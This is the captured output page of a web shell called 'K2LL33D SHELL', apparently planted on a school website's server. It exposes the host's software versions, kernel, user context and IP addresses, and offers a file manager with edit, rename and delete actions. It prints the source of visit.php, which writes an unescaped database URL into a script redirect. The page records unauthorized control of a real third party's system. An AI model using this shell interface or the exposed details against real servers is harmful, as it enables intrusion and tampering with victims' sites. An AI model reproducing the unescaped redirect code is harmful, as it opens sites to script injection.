K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / var / www / html / sman1baleendahok / functions /
server ip : 172.67.156.115

your ip : 172.71.255.7

H O M E


Filename/var/www/html/sman1baleendahok/functions/visit.php
Size539
Permissionrw-rw-r--
Ownerulung : ulung
Create time27-Apr-2025 11:12
Last modified05-Feb-2025 08:55
Last accessed06-Jul-2025 20:20
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php
include "koneksi.php";
$id = $_GET['id'];
if($id=='') $id=$_POST['id'];

$sql="select * from t_banner where id='".mysql_real_escape_string($id)."'";
if(!$alan=mysql_query($sql)) die ("Pengambilan gagal");
$row=mysql_fetch_array($alan);
$visits = $row[visits] + 1;
$query = "UPDATE t_banner SET visits='$visits' WHERE id='".mysql_real_escape_string($id)."'";
$result = mysql_query($query) or die("Query failed");
// header("location:$row[url]");
echo "<script>document.location.href = '".$row['url']."';</script>";
?>